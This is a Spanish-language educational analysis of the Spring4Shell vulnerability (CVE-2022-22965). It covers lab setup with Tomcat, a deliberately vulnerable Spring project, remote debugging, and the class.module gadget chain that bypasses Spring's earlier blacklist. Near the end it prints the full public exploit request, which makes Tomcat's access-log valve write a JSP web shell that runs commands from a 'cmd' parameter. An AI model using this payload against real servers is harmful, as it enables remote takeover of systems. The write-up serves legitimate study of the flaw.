
Análisis técnico en profundidad de CVE-2022-22965 (Spring4Shell) con configuración del entorno, recorrido de depuración y desglose de la cadena de explotación para la práctica de laboratorio educativo.
Spring4Shell es el nombre de un CVE que existe en Spring Core del Spring Framework.
Con una puntuación CVSS 3.x de 9.8, la vulnerabilidad está clasificada en el nivel de riesgo más alto (crítico). Esta vulnerabilidad permite a un atacante ejecutar código de explotación de forma remota y controlar el servidor que contiene la vulnerabilidad.
Junto con la popularidad de Spring Core en Internet y la gravedad del impacto de Spring4Shell, los expertos consideran que esta vulnerabilidad tiene un impacto no menor al de Log4shell.
Spring4Shell no afecta a todas las aplicaciones web que utilizan Spring Framework en Internet, sino que requiere que la aplicación web cumpla con los siguientes factores:
El entorno que configuro tendrá los siguientes parámetros:
Instalación de Apache Tomcat
Como se mencionó anteriormente, uso Kali 2021.4a y Apache Tomcat 9.0.45. Si no sabes cómo instalar Apache Tomcat y deseas hacerlo en Kali Linux, puedes consultar este enlace.
Nota: Reemplaza el enlace https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz por https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz
Elección del IDE
Necesitamos un IDE para codificar el proyecto, empaquetarlo como archivo .war y, algo muy importante, depurar. Yo uso Intellij, pero puedes usar Eclipse, Netbeans, etc., siempre que el IDE soporte Java.
Creación de un proyecto simple que contenga la vulnerabilidad
Mi proyecto es muy simple y consta de:
un modelo HelloWorld.java

un controlador HelloWorldController.java

una vista hello.jsp

Construcción del archivo .war
Para empaquetar el proyecto, haz lo siguiente: Build -> Build Artifacts -> helloworld:war -> Build.
Espera a que el proceso de Build se complete con éxito; en ese momento, el proyecto tendrá una carpeta adicional llamada out. Ve a ./out/artifacts/your_war_name/ y verás un archivo your_war_name.war; este archivo .war es el proyecto web compilado y empaquetado, y se puede usar para desplegarlo en servlets Java como Apache Tomcat.
Si Build Artifacts aparece atenuado (no se puede construir), significa que aún no se ha configurado Build Artifacts para este proyecto. Ve a: File -> Project Structure -> Artifacts -> Elimina todos los artifacts existentes -> Add (signo +) -> Web Application: Exploded -> From Modules... -> OK (finaliza la creación de Exploded) > Add (signo +) -> Web Application: Archive -> For 'helloworld:war exploded' -> OK. Luego repite el proceso de Build Artifacts.
Primero, analizaré el proyecto que estoy usando para depurar. Como mencioné anteriormente, este proyecto es muy simple y consta de:
Tengo un ejemplo como el siguiente:

La aplicación toma la información de los parámetros de la solicitud POST y crea un objeto helloWorld{"person":"Leo", "message":"Hi there"}; este objeto helloWorld es la entrada para el método helloPost. La aplicación realiza las tareas que mencioné anteriormente para devolver al usuario esa respuesta.
El proceso de convertir los parámetros del cuerpo de la solicitud POST en el objeto helloWorld lo realiza Spring de forma automática. Entonces, ¿cómo lo hace y verifica los parámetros de entrada?
Esta imagen se capturó durante el proceso de depuración; el ejemplo se realizó con una solicitud cuyo cuerpo es "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" (llamo a la izquierda (traza de pila) como (1) y a la derecha como (2)):

En (1) he resaltado los puntos importantes (mirando de abajo hacia arriba). Spring aplicará applyPropertyValue al objeto helloWorld a partir de los parámetros de la solicitud POST. Y si los parámetros son simplemente person=Leo&message=Hi%20there, Spring podrá encontrar que la clave 'person' corresponde a helloWorld.person, y 'message' a helloWorld.message.
Pero Spring también permite enviar objetos a través de una solicitud HTTP (decir que se envían objetos a través de HTTP es un poco exagerado, pero se entiende de forma simple). Supongamos que el atributo person ya no es un string, sino un objeto Person, y dentro de Person hay dos atributos secundarios: name (string) y age (int). Para enviar la información de este objeto Person al servidor, sería así: "person.name=Leo&person.age=23".
Entonces, el formato de los parámetros pasa a ser A.B.C.D… = X en lugar de A = X. Para procesar el formato A.B.C.D… = X, supongamos un parámetro como A.B.C = X; de forma simplificada, Spring haría lo siguiente: convertir la cadena en getA.getB.setC(X).
No explicaré qué es getA, sino que daré un ejemplo con el cuerpo de la solicitud "person.name=Leo&person.age=23". Spring buscará en el objeto helloWorld si existe el atributo person y el método getPerson; si existe, Spring llamará a helloWorld.getPerson(). En ese momento, Spring obtendrá un objeto de tipo Person, que llamaremos temporalmente person1. Luego, Spring buscará en person1 si existe un atributo 'name' y el método setName (porque después de 'name' viene '='). Si existe, Spring llamará a setName(Leo) para person1.
Con person.age, Spring no volverá a empezar desde el principio para encontrar person y luego age, sino que reutilizará los objetos anteriores, en este caso helloWorld y person1.
Después de estos pasos, en el servidor tendremos un objeto helloWorld{person:{name:"Leo", age:23}} (ignoramos temporalmente el atributo message).
Entonces, ¿cómo logra Spring encontrar los atributos de cada objeto, por ejemplo, el atributo 'person' del objeto helloWorld?
Observa la parte superior de (1), la función CachedIntrospectionResults(beanClass). Esta función enumera los atributos de beanClass. Fíjate en (2): cuando beanClass es model.HelloWorld, hay 3 atributos. Sin embargo, el modelo HelloWorld que creé solo tiene dos atributos: 'person' y 'message'. Por lo tanto, la función ha devuelto un atributo adicional 'class'. Si expandes la fila 'class', verás que el tipo de propiedad es 'java.lang.class'
Por lo tanto, podemos afectar un objeto class de tipo java.lang.class -> ¡Esta es la fuente (source) de Spring4shell!
Relacionado con la fuente anterior, existe un CVE-2010-1622 que explota esta fuente. El autor de CVE-2010-1622 explotó esta fuente con el payload class.classLoader.URLs[0] = X.
Esto se debe a que la clase java.lang.class contiene el método getClassLoader() que devuelve un objeto ClassLoader, y este ClassLoader puede afectar el array URLs de Tomcat (utilizado para cargar recursos). Al poder afectar URLs, un atacante puede cambiar el valor de URLs[0] a una dirección URL para conectarse de forma remota a un archivo Jar malicioso (controlado por el atacante).
Para corregir este error, Spring implementó un filtro (lista negra) en la función CachedIntrospectionResults(beanClass):

Si 'beanClass' == Class.class (java.lang.class), entonces pd debe ser diferente de 'classLoader' y 'protectionDomain'. La prueba es que después de que CachedIntrospectionResults carga todos los atributos de java.lang.class, no aparecen los dos atributos 'classLoader' y 'protectionDomain':

Pero, a partir de JDK 9, Class.class tiene un atributo adicional llamado 'module', y dentro de Class.module hay un atributo classLoader:

→ Por lo tanto, al usar JDK 9 o superior, ¡se puede eludir la lista negra de Spring!
Basándonos en el PoC público de la vulnerabilidad Spring4Shell, podemos ver que el payload que usan tiene la forma:
class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()
Mediante la depuración, podemos ver la siguiente cadena de gadgets:
java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalia.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalia.webresources.StandardRoot.getContext() -> org.apache.catalia.core.StandardContext.getParent() -> org.apache.catalia.core.StandardHost.getPipeline() -> org.apache.catalia.core.StandardPipeline.getFirst() -> org.apache.catalia.valves.AccessLogValue.
Y la clase AccessLogValue tiene los siguientes atributos:

Podemos obtener un objeto AccessLogValue, y este AccessLogValue afecta la escritura de registros (logs) de Tomcat.
→ Podemos crear un archivo en el servidor estableciendo los atributos del objeto AccessLogValue en el servidor Tomcat. Para ello, en el PoC establecen los atributos Prefix, Suffix, Pattern, Directory y fileDateFormat. La solicitud payload será la siguiente:
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Lista de puntos de interrupción (Breakpoints)
Para facilitar el proceso de depuración, puedes colocar breakpoints en los siguientes puntos:

Este análisis no debería tener una conclusión; esta sección se añade solo para que quede completa.
Si estás buscando cómo solucionarlo, está aquí.
Despliegue y configuración de depuración
Despliegue
Para desplegar un archivo .war en Apache Tomcat, simplemente copia el archivo .war en la carpeta /webapps dentro del directorio de Apache Tomcat (por ejemplo, en mi caso, copio el archivo helloworld.war (lo renombré para mayor comodidad) en /opt/tomcat/apache-tomcat-9.0.45/webapps/). Luego, inicia el servidor Tomcat de dos maneras (en Linux):
Una vez desplegado, accede a http://localhost:8080/helloworld
Configuración de depuración
Para configurar la depuración remota de Tomcat, haz lo siguiente:
En el servidor:
Abre el archivo catalina.sh y cambia el valor de localhost por la IP de la máquina virtual en el parámetro JPDA_ADDRESS

Reinicia el servidor Tomcat con: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. En este momento, además de abrir el puerto 8080 para el servidor HTTP, Tomcat abrirá el puerto 8000 para que podamos conectarnos y depurar.
Nota: En esta parte de la depuración, yo ejecuto Intellij en Windows 10 y Tomcat en una máquina virtual Kali, por lo que necesito cambiar JPDA_ADDRESS. Si configuras tanto Intellij como Tomcat en la misma máquina, no es necesario cambiarlo.
En Intellij:
Ve a Run -> Edit Configurations... -> Add (signo +) -> Remote JVM Debug
Pon un nombre -> modifica Host y Port para que coincidan con la IP y el puerto que configuraste en catalina.sh -> OK -> Shift + F9 (inicia la depuración)
